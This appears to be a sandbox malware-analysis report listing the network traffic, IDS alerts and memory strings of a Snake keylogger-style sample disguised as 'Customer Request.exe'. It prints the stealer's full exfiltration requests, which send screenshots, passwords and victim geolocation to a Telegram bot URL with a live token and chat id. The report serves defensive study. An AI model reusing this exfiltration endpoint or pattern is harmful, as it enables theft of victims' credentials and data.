Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8e3b0c96e1dafb8Host: api.telegram.orgContent-Length: 708858Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd50d1d4aaecc3Host: api.telegram.orgContent-Length: 708858
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd50d1d548480cHost: api.telegram.orgContent-Length: 708858

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49720 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49730 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49740 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49717 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49727 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49718 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49737 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49712 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49721 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49724 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49738 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49715 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49734 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49733 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49746 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49713 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49722 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5190d8bacacdHost: api.telegram.orgContent-Length: 570Connection: Keep-Alive

Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BD5000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002D05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B67000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B8F000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B67000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Customer Request.exe, 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Customer Request.exe, gCFuOglEso.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Customer Request.exe, gCFuOglEso.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Customer Request.exe, gCFuOglEso.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BC3000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B67000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Customer Request.exe, 00000000.00000002.1487696864.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000B.00000002.1520510912.0000000002521000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Customer Request.exe, gCFuOglEso.exe.0.dr	String found in binary or memory: http://tempuri.org/DataTableUsers.xsd
Source: Customer Request.exe, 0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2710969497.0000000003125000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002AFB000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BD5000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BDA000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002D05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org0
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Customer Request.exe, 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, Customer Request.exe, 0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002A52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002BC3000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B67000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Customer Request.exe, gCFuOglEso.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
